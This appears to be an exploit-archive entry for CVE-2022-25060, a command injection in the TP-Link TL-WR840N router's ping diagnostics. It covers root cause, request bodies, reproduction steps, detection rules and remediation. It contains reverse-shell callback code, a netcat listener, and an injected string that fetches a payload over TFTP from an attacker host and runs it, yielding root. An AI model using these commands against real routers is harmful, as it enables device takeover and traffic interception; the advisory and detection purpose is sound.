TP-Link TL-WR840N Command Injection via oal_startPing (CVE-2022-25060)
Published: 2026-11-27 • Researcher: Samir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)
Exploitation signals
EPSS 10.1% · 96th percentile
- Severity
- Critical
- CVE
- CVE-2022-25060
- Category
- network
- Affected product
- TP-Link TL-WR840N(ES) V6.20 wireless router firmware
- Affected versions
- Firmware build 180709 (TL-WR840N(ES)_V6.20_180709), specifically the oal_startPing ping-diagnostics component. The NVD record names no fixed firmware build.
- Disclosed
- 2026-11-27
- Patch status
- Unpatched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2022-02-25 (upstream commit c65f9456cf252bc5fde0b218a1e847711dfdb09e) |
| Author / Researcher | Samir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter) |
| CVE / Advisory | CVE-2022-25060 |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, record); the NVD API reports 10.0 |
| Status | PoC (two-stage chain implemented, but the script contains defects and no successful run is documented) |
| Tags | command injection, TP-Link, TL-WR840N, oal_startPing, IPPING_DIAG, embedded router, MIPS little-endian, TFTP, authenticated, CWE-78 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | TP-Link TL-WR840N(ES) V6.20 wireless router firmware |
| Versions Affected | Firmware build 180709 (TL-WR840N(ES)_V6.20_180709), specifically the oal_startPing ping-diagnostics component. The NVD record names no fixed firmware build. |
| Language / Platform | Python 3 exploit script; target runs embedded Linux on MIPS little-endian (MIPS32) hardware with a BusyBox userland |
| Authentication Required | Yes — administrator credentials for the router web management interface (HTTP Basic authentication) |
| Network Access Required | Yes — HTTP access to the router management IP, plus the router must be able to reach the attacker over TFTP (UDP/69) and TCP to the reverse-shell port |
Summary
The TP-Link TL-WR840N with firmware build 180709 fails to sanitize the host value of a ping diagnostic record, so an administrator who can reach the web interface can append shell commands to the address that the ping diagnostics handler later executes. The PoC posts the malicious ping record to the configuration endpoint /cgi?2 and then posts the start action to /cgi?7, which runs the diagnostic and executes the injected commands as root. The injected commands fetch a small MIPS little-endian reverse shell over TFTP and run it, giving the attacker a root shell on the device.
Vulnerability Details
Root Cause
The router web interface accepts configuration records in a plain-text section format at the CGI endpoint /cgi?2. The ping diagnostic record IPPING_DIAG carries the destination host, repetition count, timeout and diagnosticsState fields. The oal_startPing handler builds the diagnostic command line from the host field without validating it against shell metacharacters, so a semicolon in the host value terminates the intended ping and starts an attacker-supplied command. The record is then executed by posting the ACT_OP_IPPING action to /cgi?7, which the firmware runs as root. The record write and the trigger are separate requests, so the injected commands execute only when the action record is posted.
Attack Vector
An attacker who holds administrator credentials sends an HTTP POST to http://TARGET/cgi?2 with a text/plain body, an administrator Basic authentication cookie, and a Host/Referer pair pointing at the router. The body is a section record such as [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 followed by key=value lines whose host value contains the injected shell commands. A second POST to http://TARGET/cgi?7 with the body [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0 starts the diagnostic. No CSRF token or confirmation step is required, and the requests work from any network that can reach the management interface.
Impact
Remote code execution as root on the router. Root access allows the attacker to read the administrator password and wireless keys, modify DNS and routing, intercept or redirect all traffic through the device, add NAT port forwards, disable firewall rules, and use the router as a foothold for attacks against the internal network. The injected commands are stored in the device configuration, so a compromised unit stays manipulated until the configuration is cleared or the firmware is reflashed.
Environment / Lab Setup
OS: Attacker: Linux (Kali/Debian) with Python 3
Target: TP-Link TL-WR840N(ES) V6.20, firmware 180709 (physical unit or
an emulated firmware image), reachable at its LAN management IP
Router libc: uClibc/BusyBox on MIPS32 little-endian
Tools: Python 3 + requests, mipsel-linux-gnu-gcc (or a prebuilt MIPS LE
payload), tftpd-hpa/atftpd, netcat listenerSetup Steps
| |
The archived script does not start a TFTP server and does not compile the payload; both are preconditions supplied by the operator.
Proof of Concept
Step-by-Step Reproduction
Prepare the reverse-shell payload — edit the placeholder callback address and port in reverse_shell_mipsle.c, then cross-compile it statically for the router (the script expects a file named
s).C source1 2aanvaller_info.sin_port = htons(4444); aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.100");Shell script1 2mipsel-linux-gnu-gcc -static -Os -o s reverse_shell_mipsle.c cp s /srv/tftp/sStart the TFTP server and the listener — the router fetches the payload when the diagnostic runs.
Shell script1 2sudo systemctl start tftpd-hpa nc -lvnp 4444Run the exploit — stage 1 stores the ping record whose host carries the TFTP fetch, chmod and execution commands; stage 2 triggers the diagnostic.
Shell script1 2 3 4 5python3 CVE-2022-25060.py \ --target 192.168.0.1 \ --username admin \ --password 'admin-password' \ --lhost 192.168.0.100Catch the shell — when oal_startPing runs, the injected commands download /var/tmp/s, make it executable and run it, which connects back to the listener.
Exploit Code
See
CVE-2022-25060.py(two-stage HTTP client) andreverse_shell_mipsle.c(MIPS payload) in this folder.
| |
Expected Output
[+] Sending Stage 1, allocate command ;tftp -g -r s -l/var/tmp/s 192.168.0.100; chmod +x /var/tmp/s; ./var/tmp/s;
[+] Triggering vulnerability and Getting reverse shell....and on the listener, a root shell from the router:
$ nc -lvnp 4444
Connection from 192.168.0.1:43210
Connection Completed
uid=0(root) gid=0(root)Detection & Indicators of Compromise
POST /cgi?2 with an IPPING_DIAG body containing ";" and "tftp"/"chmod"
POST /cgi?7 with an ACT_OP_IPPING body shortly after the record write
Host: <router-ip> Referer: http://<router-ip>/mainFrame.htm
Diagnostics configuration containing shell metacharacters in the host field
/var/tmp/s (unexpected ELF binary)
Outbound TCP connection to a non-local host from the router
TFTP RRQ for the filename "s" from the router to an internal host (UDP/69)
Router-originated TCP session to a host and port that are not part of normal trafficSIEM / IDS Rule (example):
alert http any any -> $ROUTER_MGMT any (msg:"CVE-2022-25060 TP-Link oal_startPing command injection attempt"; flow:to_server,established; content:"/cgi?2"; http_uri; content:"IPPING_DIAG"; http_client_body; content:";tftp"; http_client_body; reference:cve,2022-25060; sid:9025060; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Update the TL-WR840N to the newest firmware available for the hardware revision, or replace the model if no fixed build is offered; NVD does not name a fixed firmware version for TL-WR840N(ES) V6.20 build 180709. Verify the fixed build with TP-Link support before relying on it. |
| Workaround | Do not expose the web management interface to the WAN. Restrict management access to a dedicated administration VLAN or trusted hosts, and use a unique, strong administrator password. |
| Config Hardening | Segment IoT and consumer routers away from production networks, block outbound TFTP (UDP/69) from network devices at the perimeter or LAN firewall, monitor router-originated connections, and re-flash or factory-reset any device that shows unexpected configuration or an outbound shell. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/exploitwritter/CVE-2022-25060 (stars 0, Python plus a C payload).
Review verdict: ingested. This is a real exploit, not a detector: it builds the malicious diagnostic record itself and drives the oal_startPing chain against a user-supplied router, with no version checks, banner scraping or fake verdicts. It is a research PoC and not malware, a C2 framework or a persistence tool. The repository also ships reverse_shell_mipsle.c, a small MIPS payload that the exploit fetches over TFTP to prove code execution; it is included because the reproduction steps depend on it. It is target-specific (hardcoded callback placeholder, no persistence, no C2 protocol, no evasion) and is not a general-purpose backdoor.
License: the repository has no LICENSE file, so copyright remains with the authors and no reuse rights are granted. The archived files keep the original author attribution and add only a short research-use header. The upstream README is copied verbatim as upstream-README.md.
Limitations: the script is rough and was not executed while preparing this entry. Its headers dictionary sets Content-Length to the literal string str(len(self.payload)) and references an attribute self.payload that is never defined, so requests will keep that bogus header and the router or an intermediary may reject the body; removing the Content-Length entry and letting requests compute it is usually necessary on a real device. Stage 1 is only attempted when the first POST returns HTTP 200, and the stage-2 POST is wrapped in a bare except, so failures are silent. The script also assumes a TFTP server is already running and that the payload is compiled as a static MIPS little-endian binary named s; it does not compile or serve anything. The credentials are sent as a cookie named Authorization rather than as an Authorization request header, which some firmware builds will ignore; adding the header explicitly is the usual fix if the router answers with a login page. Paths, the CGI endpoints and the section names are specific to the TL-WR840N(ES) V6.20 build 180709, so other TP-Link models and firmware revisions need their own analysis. Exploitation requires valid administrator credentials, and there is no public proof-of-concept output in the repository, which is why the status is PoC rather than Weaponized. No exploit code was executed during preparation of this entry.
| |